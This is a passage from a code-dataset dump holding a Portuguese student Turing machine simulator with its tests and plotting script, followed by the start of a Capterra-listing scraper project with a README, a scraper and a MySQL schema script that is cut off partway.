test_aceitacao(self):\r\n for p in palavras_teste:\r\n self.assertTrue(aceitacao(p))\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()\r\n #Lembrar de remover os prints para testar"},{"alpha_fraction":0.3257015347480774,"alphanum_fraction":0.3854643702507019,"avg_line_length":34.71120834350586,"blob_id":"e36b59e1eedc00795efec73e912e6a967b2c6b0d","content_id":"e1d77c6c84c5b3a58f094e3a46bc082b0a3d2b06","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":8528,"license_type":"no_license","max_line_length":213,"num_lines":232,"path":"/MT.py","repo_name":"WarleiCanuto/MT","src_encoding":"UTF-8","text":"import random\r\nfrom numpy import mean\r\nfrom numpy import std\r\nfrom numpy import correlate\r\nfrom numpy.random import randn\r\nfrom numpy.random import seed\r\nfrom matplotlib import pyplot\r\n\r\nQ={'q0', 'q1','q2','q3','q4','q5','q6','q7','q8','q9','q10','q11','q12','q13','q14','q15','q16','q17','q18','q19','q20','q21','q22','q23', 'q24','q25','q26','q27','q28','q29','q30','q31','q32', 'q33','q34', 'q35'}\r\nS={'0', '1'}\r\nG={'0','1', 'X', 'Y', 'A', 'B', '.',' '}\r\nF={'q12', 'q25', 'q29','q30', 'q33', 'q35'}\r\nD={\r\n ('q0', '1'):('q0','1','R'),\r\n ('q0', '0'):('q0','0','R'),\r\n ('q0', 'Y'):('q0','Y','R'),\r\n ('q0', 'A'):('q0','A','R'),\r\n ('q0', '.'):('q0','.','R'),\r\n ('q0', ' '):('q1','.','L'),\r\n ('q1', ' '):('q7',' ','R'),\r\n ('q1', 'A'):('q1','A','L'),\r\n ('q1', '0'):('q1','0','L'),\r\n ('q1', 'Y'):('q1','Y','L'),\r\n ('q1', '.'):('q1','.','L'),\r\n ('q1', '1'):('q2','Y','L'),\r\n ('q2', '1'):('q2','1','L'),\r\n ('q2', '0'):('q3','X','R'),\r\n ('q3', ' '):('q4','A','L'),\r\n ('q3', 'Y'):('q3','Y','R'),\r\n ('q3', 'X'):('q3','X','R'),\r\n ('q3', '.'):('q3','.','R'),\r\n ('q3', 'A'):('q3','A','R'),\r\n ('q3', '1'):('q3','1','R'),\r\n ('q4', '1'):('q4','1','L'),\r\n ('q4', 'A'):('q4','A','L'),\r\n ('q4', 'Y'):('q4','Y','L'),\r\n ('q4', '.'):('q4','.','L'),\r\n ('q4', 'X'):('q4','X','L'),\r\n ('q4', '0'):('q3','X','R'),\r\n ('q4', ' '):('q5',' ','R'),\r\n ('q5', 'X'):('q5','0','R'),\r\n ('q5', '1'):('q6','1','L'),\r\n ('q5', 'Y'):('q6','Y','L'),\r\n ('q6', '0'):('q6','0','L'),\r\n ('q6', ' '):('q0',' ','R'),\r\n ('q7', '0'):('q7',' ','R'),\r\n ('q7', 'Y'):('q7',' ','R'),\r\n ('q7', '.'):('q7',' ','R'),\r\n ('q7', 'A'):('q8','A','L'),\r\n ('q8', ' '):('q9',' ','R'),\r\n ('q9', 'A'):('q9','A','R'),\r\n ('q9', '.'):('q10','.','R'),\r\n ('q10', ' '):('q11',' ','L'),\r\n ('q10', 'A'):('q13','A','L'),\r\n ('q11', 'A'):('q11','0','L'),\r\n ('q11', '.'):('q11',' ','L'),\r\n ('q11', ' '):('q12',' ','R'),\r\n ('q13', '.'):('q13','.','L'),\r\n ('q13', 'A'):('q13','A','L'),\r\n ('q13', ' '):('q14',' ','R'),\r\n ('q14', 'A'):('q15',' ','R'),\r\n ('q14', '.'):('q20',' ','R'),\r\n ('q15', 'A'):('q15','A','R'),\r\n ('q15', '.'):('q16','.','R'),\r\n ('q16', '.'):('q19','.','L'),\r\n ('q16', 'A'):('q17','B','R'),\r\n ('q17', 'A'):('q17','A','R'),\r\n ('q17', 'B'):('q17','B','R'),\r\n ('q17', '.'):('q17','.','R'),\r\n ('q17', ' '):('q18','A','L'),\r\n ('q18', 'A'):('q18','A','L'),\r\n ('q18', '.'):('q18','.','L'),\r\n ('q18', 'B'):('q16','B','R'),\r\n ('q19', 'B'):('q19','A','L'),\r\n ('q19', '.'):('q19','.','L'),\r\n ('q19', 'A'):('q19','A','L'),\r\n ('q19', ' '):('q14',' ','R'),\r\n ('q20', 'A'):('q20',' ','R'),\r\n ('q20', '.'):('q21',' ','R'),\r\n ('q21', '.'):('q21','.','R'),\r\n ('q21', 'A'):('q21','A','R'),\r\n ('q21', ' '):('q22','.','L'),\r\n ('q22', 'A'):('q22','A','L'),\r\n ('q22', '.'):('q23','.','L'),\r\n ('q23', '.'):('q23','.','L'),\r\n ('q23', 'A'):('q23','A','L'),\r\n ('q23', ' '):('q14',' ','R'),\r\n ('q22', ' '):('q24',' ','R'),\r\n ('q24', 'A'):('q24','0','R'),\r\n ('q24', '.'):('q25',' ','L'),\r\n ('q26', '1'):('q27','1','R'),\r\n ('q26', ' '):('q30','0','R'),\r\n ('q26', '0'):('q31','0','R'),\r\n ('q27', '1'):('q27','1','R'),\r\n ('q27', ' '):('q28',' ','L'),\r\n ('q27', '0'):('q35','0','R'),\r\n ('q28', '1'):('q28',' ','L'),\r\n ('q28', ' '):('q29',' ','R'),\r\n ('q31', ' '):('q32',' ','L'),\r\n ('q31', '1'):('q34','1','R'),\r\n ('q31', '0'):('q31','0','R'),\r\n ('q32', '0'):('q32',' ','L'),\r\n ('q32', ' '):('q33','0','R'),\r\n ('q34', '0'):('q35','0','R'),\r\n ('q34', '1'):('q34','1','R'),\r\n ('q34', ' '):('q36',' ','L'),\r\n ('q36', '0'):('q36','0','L'),\r\n ('q36', '1'):('q36','1','L'),\r\n ('q36', ' '):('q0',' ','R'),\r\n}\r\nMT = (Q, S, G, D, 'q26',' ', F)\r\n\r\npalavra = '001100'\r\n\r\n#PLOT\r\npalavra_y = []\r\npalavra_x = []\r\npalavra_plot = []\r\ndata_iteracoes = []\r\ndata_tam_plvr = []\r\n\r\ndef aceitacao(plvr):\r\n if analisaPalavra_testes(MT, plvr):\r\n return True\r\n else:\r\n return False\r\n\r\ndef plot():\r\n for p in range(20):\r\n palavra = ('1'*random.randint(1, 5) + '0'*random.randint(1, 5))\r\n palavra_x.append(palavra.count('0')*10000)\r\n palavra_y.append(palavra.count('1')*10000)\r\n palavra_plot.append(palavra)\r\n data_tam_plvr.append(len(palavra))\r\n analisaPalavra_testes(MT, palavra)\r\n return data_iteracoes, data_tam_plvr, palavra_plot, palavra_x, palavra_y\r\n\r\ndef analisaPalavra(maquina, palavra):\r\n estados_finais = maquina[6]\r\n estado_inicial = maquina[4]\r\n direcao = ''\r\n palavra_final = ''\r\n palavra_list = list(palavra)\r\n i = 0\r\n estado_atual = estado_inicial\r\n palavra_completa = False\r\n iteracoes = 0\r\n print('Palavra: ', palavra,'\\n')\r\n\r\n while palavra_completa == False:\r\n for estadof in estados_finais:\r\n if estadof!= 'q35' and estado_atual == estadof:\r\n palavra_completa = True\r\n print('A palavra '+ palavra + ' foi aceita em ' + str(iteracoes) + ' iterações') \r\n print('Palavra final: ' + palavra_final.join(palavra for palavra in palavra_list if palavra != ' '))\r\n return True\r\n elif estadof == 'q35' and estado_atual == estadof:\r\n palavra_completa = True\r\n print('A palavra '+ palavra + ' foi rejeitada em ' + str(iteracoes) + ' iterações por não estar no formato 0^a1^b')\r\n return False\r\n for delta in maquina[3]:\r\n if (i + 1) > len(palavra_list):\r\n palavra_list.append(' ') \r\n if i < 0:\r\n palavra_list = [' '] + palavra_list\r\n i = 0\r\n if estado_atual == delta[0] and palavra_list[i] == delta[1]:\r\n iteracoes += 1\r\n transicao = maquina[3][delta]\r\n simbolo_ant = palavra_list[i]\r\n palavra_list[i] = transicao[1]\r\n if transicao[2] == 'R':\r\n direcao = 'direita'\r\n i += 1\r\n else:\r\n direcao = 'esquerda'\r\n i -= 1\r\n if estado_atual != transicao[0]:\r\n print('Sai do estado ' + estado_atual + ' para o estado ' + transicao[0] + ' trocando o simbolo ' + simbolo_ant + ' pelo símbolo' + transicao[1] + ' em direção a ' + direcao)\r\n print('\\nFita:', palavra_list, '\\n')\r\n estado_atual = transicao[0]\r\n break\r\n elif estado_atual == transicao[0]:\r\n print('Permanece no ' + estado_atual + ' lê o simbolo ' + simbolo_ant + ' e anda em direção a ' + direcao)\r\n print('\\nFita:', palavra_list, '\\n')\r\n break\r\n\r\n#Sem prints\r\ndef analisaPalavra_testes(maquina, palavra):\r\n estados_finais = maquina[6]\r\n estado_inicial = maquina[4]\r\n direcao = ''\r\n palavra_final = ''\r\n palavra_list = list(palavra)\r\n i = 0\r\n estado_atual = estado_inicial\r\n palavra_completa = False\r\n iteracoes = 0\r\n print('Palavra: ', palavra,'\\n')\r\n\r\n while palavra_completa == False:\r\n for estadof in estados_finais:\r\n if estadof!= 'q35' and estado_atual == estadof:\r\n palavra_completa = True\r\n data_iteracoes.append(iteracoes) #PLOT\r\n return True\r\n elif estadof == 'q35' and estado_atual == estadof:\r\n palavra_completa = True\r\n data_iteracoes.append(iteracoes) #PLOT\r\n return False\r\n for delta in maquina[3]:\r\n if (i + 1) > len(palavra_list):\r\n palavra_list.append(' ') \r\n if i < 0:\r\n palavra_list = [' '] + palavra_list\r\n i = 0\r\n if estado_atual == delta[0] and palavra_list[i] == delta[1]:\r\n iteracoes += 1\r\n transicao = maquina[3][delta]\r\n simbolo_ant = palavra_list[i]\r\n palavra_list[i] = transicao[1]\r\n if transicao[2] == 'R':\r\n direcao = 'direita'\r\n i += 1\r\n else:\r\n direcao = 'esquerda'\r\n i -= 1\r\n if estado_atual != transicao[0]:\r\n estado_atual = transicao[0]\r\n break\r\n elif estado_atual == transicao[0]:\r\n break\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6765432357788086,\n \"alphanum_fraction\": 0.7160493731498718,\n \"avg_line_length\": 29.30769157409668,\n \"blob_id\": \"40761107ec2ae3060dea4927715d71b28c07be45\",\n \"content_id\": \"9fa473c62e45654e14777720e16b97eae0e00f07\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 409,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 13,\n \"path\": \"/graf.py\",\n \"repo_name\": \"WarleiCanuto/MT\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from matplotlib import pyplot\\r\\nfrom MT import plot\\r\\n\\r\\ndata_it, data_tam, data_plvrs, data0, data1 = plot()\\r\\nprint(data_it)\\r\\nprint(data_tam)\\r\\npyplot.scatter(data_tam, data_it)\\r\\n#pyplot.plot(data0, 'r') #Numero de 0s VERMELHO (*10000)\\r\\n#pyplot.plot(data1, 'g') #Numero de 1s VERDE (*10000)\\r\\npyplot.title('Gráfico de Dispersão')\\r\\npyplot.ylabel(\\\"Iterações\\\")\\r\\npyplot.xlabel(\\\"Tamanho da Palavra\\\")\\r\\npyplot.show()\"\n },\n {\n \"alpha_fraction\": 0.6418439745903015,\n \"alphanum_fraction\": 0.6666666865348816,\n \"avg_line_length\": 26.299999237060547,\n \"blob_id\": \"f0493e205f21b63737887eb8c6a60d8ed5b2804b\",\n \"content_id\": \"6efc8d761e2b1cf5dea58c066fe402279330dbf5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 568,\n \"license_type\": \"no_license\",\n \"max_line_length\": 78,\n \"num_lines\": 20,\n \"path\": \"/unitt.py\",\n \"repo_name\": \"WarleiCanuto/MT\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import unittest\\r\\nimport random\\r\\nfrom MT import aceitacao\\r\\npalavras_teste = []\\r\\n\\r\\n#palavras_teste.append('1100') Reprovada\\r\\n#Quando o numero de 1s é maior ou igual a 6 o tempo de execução é alto\\r\\n\\r\\nfor p in range(20):\\r\\n palavras_teste.append('0'*random.randint(1, 5) + '1'*random.randint(1, 5))\\r\\nprint(palavras_teste)\\r\\n\\r\\nclass FuncTeste(unittest.TestCase):\\r\\n def test_aceitacao(self):\\r\\n for p in palavras_teste:\\r\\n self.assertTrue(aceitacao(p))\\r\\n\\r\\nif __name__ == \\\"__main__\\\":\\r\\n unittest.main()\\r\\n #Lembrar de remover os prints para testar\"\n },\n {\n \"alpha_fraction\": 0.3257015347480774,\n \"alphanum_fraction\": 0.3854643702507019,\n \"avg_line_length\": 34.71120834350586,\n \"blob_id\": \"e36b59e1eedc00795efec73e912e6a967b2c6b0d\",\n \"content_id\": \"e1d77c6c84c5b3a58f094e3a46bc082b0a3d2b06\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8528,\n \"license_type\": \"no_license\",\n \"max_line_length\": 213,\n \"num_lines\": 232,\n \"path\": \"/MT.py\",\n \"repo_name\": \"WarleiCanuto/MT\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import random\\r\\nfrom numpy import mean\\r\\nfrom numpy import std\\r\\nfrom numpy import correlate\\r\\nfrom numpy.random import randn\\r\\nfrom numpy.random import seed\\r\\nfrom matplotlib import pyplot\\r\\n\\r\\nQ={'q0', 'q1','q2','q3','q4','q5','q6','q7','q8','q9','q10','q11','q12','q13','q14','q15','q16','q17','q18','q19','q20','q21','q22','q23', 'q24','q25','q26','q27','q28','q29','q30','q31','q32', 'q33','q34', 'q35'}\\r\\nS={'0', '1'}\\r\\nG={'0','1', 'X', 'Y', 'A', 'B', '.',' '}\\r\\nF={'q12', 'q25', 'q29','q30', 'q33', 'q35'}\\r\\nD={\\r\\n ('q0', '1'):('q0','1','R'),\\r\\n ('q0', '0'):('q0','0','R'),\\r\\n ('q0', 'Y'):('q0','Y','R'),\\r\\n ('q0', 'A'):('q0','A','R'),\\r\\n ('q0', '.'):('q0','.','R'),\\r\\n ('q0', ' '):('q1','.','L'),\\r\\n ('q1', ' '):('q7',' ','R'),\\r\\n ('q1', 'A'):('q1','A','L'),\\r\\n ('q1', '0'):('q1','0','L'),\\r\\n ('q1', 'Y'):('q1','Y','L'),\\r\\n ('q1', '.'):('q1','.','L'),\\r\\n ('q1', '1'):('q2','Y','L'),\\r\\n ('q2', '1'):('q2','1','L'),\\r\\n ('q2', '0'):('q3','X','R'),\\r\\n ('q3', ' '):('q4','A','L'),\\r\\n ('q3', 'Y'):('q3','Y','R'),\\r\\n ('q3', 'X'):('q3','X','R'),\\r\\n ('q3', '.'):('q3','.','R'),\\r\\n ('q3', 'A'):('q3','A','R'),\\r\\n ('q3', '1'):('q3','1','R'),\\r\\n ('q4', '1'):('q4','1','L'),\\r\\n ('q4', 'A'):('q4','A','L'),\\r\\n ('q4', 'Y'):('q4','Y','L'),\\r\\n ('q4', '.'):('q4','.','L'),\\r\\n ('q4', 'X'):('q4','X','L'),\\r\\n ('q4', '0'):('q3','X','R'),\\r\\n ('q4', ' '):('q5',' ','R'),\\r\\n ('q5', 'X'):('q5','0','R'),\\r\\n ('q5', '1'):('q6','1','L'),\\r\\n ('q5', 'Y'):('q6','Y','L'),\\r\\n ('q6', '0'):('q6','0','L'),\\r\\n ('q6', ' '):('q0',' ','R'),\\r\\n ('q7', '0'):('q7',' ','R'),\\r\\n ('q7', 'Y'):('q7',' ','R'),\\r\\n ('q7', '.'):('q7',' ','R'),\\r\\n ('q7', 'A'):('q8','A','L'),\\r\\n ('q8', ' '):('q9',' ','R'),\\r\\n ('q9', 'A'):('q9','A','R'),\\r\\n ('q9', '.'):('q10','.','R'),\\r\\n ('q10', ' '):('q11',' ','L'),\\r\\n ('q10', 'A'):('q13','A','L'),\\r\\n ('q11', 'A'):('q11','0','L'),\\r\\n ('q11', '.'):('q11',' ','L'),\\r\\n ('q11', ' '):('q12',' ','R'),\\r\\n ('q13', '.'):('q13','.','L'),\\r\\n ('q13', 'A'):('q13','A','L'),\\r\\n ('q13', ' '):('q14',' ','R'),\\r\\n ('q14', 'A'):('q15',' ','R'),\\r\\n ('q14', '.'):('q20',' ','R'),\\r\\n ('q15', 'A'):('q15','A','R'),\\r\\n ('q15', '.'):('q16','.','R'),\\r\\n ('q16', '.'):('q19','.','L'),\\r\\n ('q16', 'A'):('q17','B','R'),\\r\\n ('q17', 'A'):('q17','A','R'),\\r\\n ('q17', 'B'):('q17','B','R'),\\r\\n ('q17', '.'):('q17','.','R'),\\r\\n ('q17', ' '):('q18','A','L'),\\r\\n ('q18', 'A'):('q18','A','L'),\\r\\n ('q18', '.'):('q18','.','L'),\\r\\n ('q18', 'B'):('q16','B','R'),\\r\\n ('q19', 'B'):('q19','A','L'),\\r\\n ('q19', '.'):('q19','.','L'),\\r\\n ('q19', 'A'):('q19','A','L'),\\r\\n ('q19', ' '):('q14',' ','R'),\\r\\n ('q20', 'A'):('q20',' ','R'),\\r\\n ('q20', '.'):('q21',' ','R'),\\r\\n ('q21', '.'):('q21','.','R'),\\r\\n ('q21', 'A'):('q21','A','R'),\\r\\n ('q21', ' '):('q22','.','L'),\\r\\n ('q22', 'A'):('q22','A','L'),\\r\\n ('q22', '.'):('q23','.','L'),\\r\\n ('q23', '.'):('q23','.','L'),\\r\\n ('q23', 'A'):('q23','A','L'),\\r\\n ('q23', ' '):('q14',' ','R'),\\r\\n ('q22', ' '):('q24',' ','R'),\\r\\n ('q24', 'A'):('q24','0','R'),\\r\\n ('q24', '.'):('q25',' ','L'),\\r\\n ('q26', '1'):('q27','1','R'),\\r\\n ('q26', ' '):('q30','0','R'),\\r\\n ('q26', '0'):('q31','0','R'),\\r\\n ('q27', '1'):('q27','1','R'),\\r\\n ('q27', ' '):('q28',' ','L'),\\r\\n ('q27', '0'):('q35','0','R'),\\r\\n ('q28', '1'):('q28',' ','L'),\\r\\n ('q28', ' '):('q29',' ','R'),\\r\\n ('q31', ' '):('q32',' ','L'),\\r\\n ('q31', '1'):('q34','1','R'),\\r\\n ('q31', '0'):('q31','0','R'),\\r\\n ('q32', '0'):('q32',' ','L'),\\r\\n ('q32', ' '):('q33','0','R'),\\r\\n ('q34', '0'):('q35','0','R'),\\r\\n ('q34', '1'):('q34','1','R'),\\r\\n ('q34', ' '):('q36',' ','L'),\\r\\n ('q36', '0'):('q36','0','L'),\\r\\n ('q36', '1'):('q36','1','L'),\\r\\n ('q36', ' '):('q0',' ','R'),\\r\\n}\\r\\nMT = (Q, S, G, D, 'q26',' ', F)\\r\\n\\r\\npalavra = '001100'\\r\\n\\r\\n#PLOT\\r\\npalavra_y = []\\r\\npalavra_x = []\\r\\npalavra_plot = []\\r\\ndata_iteracoes = []\\r\\ndata_tam_plvr = []\\r\\n\\r\\ndef aceitacao(plvr):\\r\\n if analisaPalavra_testes(MT, plvr):\\r\\n return True\\r\\n else:\\r\\n return False\\r\\n\\r\\ndef plot():\\r\\n for p in range(20):\\r\\n palavra = ('1'*random.randint(1, 5) + '0'*random.randint(1, 5))\\r\\n palavra_x.append(palavra.count('0')*10000)\\r\\n palavra_y.append(palavra.count('1')*10000)\\r\\n palavra_plot.append(palavra)\\r\\n data_tam_plvr.append(len(palavra))\\r\\n analisaPalavra_testes(MT, palavra)\\r\\n return data_iteracoes, data_tam_plvr, palavra_plot, palavra_x, palavra_y\\r\\n\\r\\ndef analisaPalavra(maquina, palavra):\\r\\n estados_finais = maquina[6]\\r\\n estado_inicial = maquina[4]\\r\\n direcao = ''\\r\\n palavra_final = ''\\r\\n palavra_list = list(palavra)\\r\\n i = 0\\r\\n estado_atual = estado_inicial\\r\\n palavra_completa = False\\r\\n iteracoes = 0\\r\\n print('Palavra: ', palavra,'\\\\n')\\r\\n\\r\\n while palavra_completa == False:\\r\\n for estadof in estados_finais:\\r\\n if estadof!= 'q35' and estado_atual == estadof:\\r\\n palavra_completa = True\\r\\n print('A palavra '+ palavra + ' foi aceita em ' + str(iteracoes) + ' iterações') \\r\\n print('Palavra final: ' + palavra_final.join(palavra for palavra in palavra_list if palavra != ' '))\\r\\n return True\\r\\n elif estadof == 'q35' and estado_atual == estadof:\\r\\n palavra_completa = True\\r\\n print('A palavra '+ palavra + ' foi rejeitada em ' + str(iteracoes) + ' iterações por não estar no formato 0^a1^b')\\r\\n return False\\r\\n for delta in maquina[3]:\\r\\n if (i + 1) > len(palavra_list):\\r\\n palavra_list.append(' ') \\r\\n if i < 0:\\r\\n palavra_list = [' '] + palavra_list\\r\\n i = 0\\r\\n if estado_atual == delta[0] and palavra_list[i] == delta[1]:\\r\\n iteracoes += 1\\r\\n transicao = maquina[3][delta]\\r\\n simbolo_ant = palavra_list[i]\\r\\n palavra_list[i] = transicao[1]\\r\\n if transicao[2] == 'R':\\r\\n direcao = 'direita'\\r\\n i += 1\\r\\n else:\\r\\n direcao = 'esquerda'\\r\\n i -= 1\\r\\n if estado_atual != transicao[0]:\\r\\n print('Sai do estado ' + estado_atual + ' para o estado ' + transicao[0] + ' trocando o simbolo ' + simbolo_ant + ' pelo símbolo' + transicao[1] + ' em direção a ' + direcao)\\r\\n print('\\\\nFita:', palavra_list, '\\\\n')\\r\\n estado_atual = transicao[0]\\r\\n break\\r\\n elif estado_atual == transicao[0]:\\r\\n print('Permanece no ' + estado_atual + ' lê o simbolo ' + simbolo_ant + ' e anda em direção a ' + direcao)\\r\\n print('\\\\nFita:', palavra_list, '\\\\n')\\r\\n break\\r\\n\\r\\n#Sem prints\\r\\ndef analisaPalavra_testes(maquina, palavra):\\r\\n estados_finais = maquina[6]\\r\\n estado_inicial = maquina[4]\\r\\n direcao = ''\\r\\n palavra_final = ''\\r\\n palavra_list = list(palavra)\\r\\n i = 0\\r\\n estado_atual = estado_inicial\\r\\n palavra_completa = False\\r\\n iteracoes = 0\\r\\n print('Palavra: ', palavra,'\\\\n')\\r\\n\\r\\n while palavra_completa == False:\\r\\n for estadof in estados_finais:\\r\\n if estadof!= 'q35' and estado_atual == estadof:\\r\\n palavra_completa = True\\r\\n data_iteracoes.append(iteracoes) #PLOT\\r\\n return True\\r\\n elif estadof == 'q35' and estado_atual == estadof:\\r\\n palavra_completa = True\\r\\n data_iteracoes.append(iteracoes) #PLOT\\r\\n return False\\r\\n for delta in maquina[3]:\\r\\n if (i + 1) > len(palavra_list):\\r\\n palavra_list.append(' ') \\r\\n if i < 0:\\r\\n palavra_list = [' '] + palavra_list\\r\\n i = 0\\r\\n if estado_atual == delta[0] and palavra_list[i] == delta[1]:\\r\\n iteracoes += 1\\r\\n transicao = maquina[3][delta]\\r\\n simbolo_ant = palavra_list[i]\\r\\n palavra_list[i] = transicao[1]\\r\\n if transicao[2] == 'R':\\r\\n direcao = 'direita'\\r\\n i += 1\\r\\n else:\\r\\n direcao = 'esquerda'\\r\\n i -= 1\\r\\n if estado_atual != transicao[0]:\\r\\n estado_atual = transicao[0]\\r\\n break\\r\\n elif estado_atual == transicao[0]:\\r\\n break\\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978398,"cells":{"repo_name":{"kind":"string","value":"winnerineast/capterra"},"repo_url":{"kind":"string","value":"https://github.com/winnerineast/capterra"},"snapshot_id":{"kind":"string","value":"ec1b5c241f8782d1c0455f49be2abd15ce0574cc"},"revision_id":{"kind":"string","value":"382d510284a6881f921ad55f46083744c5963a2b"},"directory_id":{"kind":"string","value":"7d092b1f840eb4aa99bf74c795d03f972d950306"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-06-29T06:57:11.566398","string":"2023-06-29T06:57:11.566398"},"revision_date":{"kind":"timestamp","value":"2021-07-17T15:33:13","string":"2021-07-17T15:33:13"},"committer_date":{"kind":"timestamp","value":"2021-07-17T15:33:13","string":"2021-07-17T15:33:13"},"github_id":{"kind":"number","value":386955739,"string":"386,955,739"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7537993788719177,"alphanum_fraction":0.7659574747085571,"avg_line_length":41.956520080566406,"blob_id":"7fd5cf431d76f1bf611ecb86bd673b6f1f559b93","content_id":"d9acdd55319a34717d542e8b5fc91c9c2ad533d8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":987,"license_type":"no_license","max_line_length":120,"num_lines":23,"path":"/README.md","repo_name":"winnerineast/capterra","src_encoding":"UTF-8","text":"# Capterra Clone\nthis is project to create a clone database of capterra website.\n\n## How to use\n\n- The project can only run on Ubuntu. (we tested in Ubuntu 18.04)\n- Install mySQL database.\n- Install mysql-connector for python. \n- Update username and password in create_database.py.\n- Run create_database.py to setup empty database for capterra.\n- Run main.py to synchronize the online website with local database.\n- main.py has the following features:\n * automatically detect the software categories by name of category\n * automatically detect the software by name of software\n * both category and software information will be overridden (!!!)\n * No overridden for review data and only appending\n \n- (incoming) a local website to read local database\n\n## Work Daily\n- 2021.07.17\ncompleted create_database.py and simple webpage download and interpretation. now it's going to develop download webpage \n and insert them into database (so far don't do existing data detection)"},{"alpha_fraction":0.5989025831222534,"alphanum_fraction":0.6126200556755066,"avg_line_length":35.089107513427734,"blob_id":"b69da9455a98a6211e18918439723f4f81878d9c","content_id":"113da616f0d3b1c2043e3110303f06df726af0f2","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3645,"license_type":"no_license","max_line_length":153,"num_lines":101,"path":"/main.py","repo_name":"winnerineast/capterra","src_encoding":"UTF-8","text":"import requests\nimport urllib3\nfrom bs4 import BeautifulSoup\nimport json\nimport mysql.connector\nfrom mysql.connector import errorcode\n\n\nconfig = dict(user='root',\n password='1',\n host='127.0.0.1',\n database='capterra',\n raise_on_warnings=True,\n use_pure=True)\n\n\ndef start_requests(input_url):\n r = requests.get(input_url)\n return r.content\n\n\ndef parse_directory(html_text):\n soup = BeautifulSoup(html_text, 'html.parser')\n movie_list = soup.find_all('a', class_='list-group-item')\n\n result_list = []\n for item in movie_list:\n software_type = {'title': item.text, 'url': item['href']}\n result_list.append(software_type)\n return result_list\n\n\ndef get_redirect_url(previous_url):\n headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'}\n response = requests.get(previous_url, headers=headers)\n soup = BeautifulSoup(response.text, 'html.parser')\n redirect_url = soup.find('meta', attrs={'http-equiv': 'refresh'})\n actual_url = redirect_url['content'].partition('=')[2]\n try:\n response = requests.get(actual_url, headers=headers)\n except urllib3.exceptions.MaxRetryError as ex:\n print(\"the website is down.\")\n actual_url = str(ex).split('\\'')[1]\n print(actual_url)\n return actual_url\n except requests.exceptions.SSLError as ex:\n print(\"the website is not connected with SSL.\")\n actual_url = str(ex).split('\\'')[1]\n print(actual_url)\n return actual_url\n return response.url\n\n\ndef parse_software(software_type, html_text):\n soup = BeautifulSoup(html_text, 'html.parser')\n item_list = soup.find_all('div', class_='card product-card mb-3 border-primary pt-2')\n result_list = []\n for item in item_list:\n title = item.find(class_='evnt').string\n print(title)\n visit_url = item.find(class_='btn btn-preferred btn-sm text-truncate btn-block evnt')['href']\n website = get_redirect_url('https://www.capterra.com.sg'+visit_url)\n summary = item.find(class_='d-lg-none').get_text()\n software_type = {'type': software_type, 'title': title, 'summary': summary, 'website': website}\n result_list.append(software_type)\n return result_list\n\n\ndef get_page_number(html_text):\n soup = BeautifulSoup(html_text, 'html.parser')\n page_items = soup.find_all('li', class_='page-item')\n if bool(page_items):\n last_page = page_items[len(page_items) - 2].get_text()\n return int(last_page)\n return 1\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n\n with open('data.json', 'w', encoding='utf-8') as f:\n url = 'https://www.capterra.com.sg/directory'\n text = start_requests(url)\n directory = parse_directory(text)\n for current in directory:\n # print(current['url'])\n text = start_requests(current['url'])\n nPage = get_page_number(text)\n software_list = parse_software(current['title'], text)\n json.dump(software_list, f, ensure_ascii=False, indent=4)\n print(software_list)\n\n if 1 == nPage: continue\n\n for i in range(2, nPage + 1):\n new_url = current['url'] + '?page=' + str(i)\n print(new_url)\n text = start_requests(new_url)\n software_list = parse_software(current['title'], text)\n json.dump(software_list, f, ensure_ascii=False, indent=4)\n print(software_list)\n"},{"alpha_fraction":0.5633803009986877,"alphanum_fraction":0.5744194984436035,"avg_line_length":29.546510696411133,"blob_id":"a9f0ba7c5ae3fe1926b22e35344d95fad170997b","content_id":"4f261e3be07e718761f86e608592c8dd72745660","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2627,"license_type":"no_license","max_line_length":83,"num_lines":86,"path":"/create_database.py","repo_name":"winnerineast/capterra","src_encoding":"UTF-8","text":"import mysql.connector\nfrom mysql.connector import errorcode\n\n\nconfig = dict(user='root',\n password='1',\n host='127.0.0.1',\n database='capterra',\n raise_on_warnings=True,\n use_pure=True)\n\nDB_NAME = 'capterra'\nTABLES = {'categories': (\n \"CREATE TABLE `categories` (\"\n \" `id` smallint NOT NULL AUTO_INCREMENT,\"\n \" `name` varchar(100) NOT NULL,\"\n \" `description` varchar(5000) NOT NULL,\"\n \" PRIMARY KEY (`id`)\"\n \") ENGINE=InnoDB\"),\n 'softwares': (\n \"CREATE TABLE `softwares` (\"\n \" `id` int NOT NULL AUTO_INCREMENT,\"\n \" `name` varchar(100) NOT NULL,\"\n \" `rating` tinyint NOT NULL,\"\n \" `summary` varchar(5000) NOT NULL,\"\n \" `features` json NOT NULL,\"\n \" `website` varchar(1000) NOT NULL,\"\n \" `about` json NOT NULL,\"\n \" `pricing` json NOT NULL,\"\n \" `deployment` json NOT NULL,\"\n \" `alternative` json NOT NULL,\"\n \" `reviews` json NOT NULL,\"\n \" 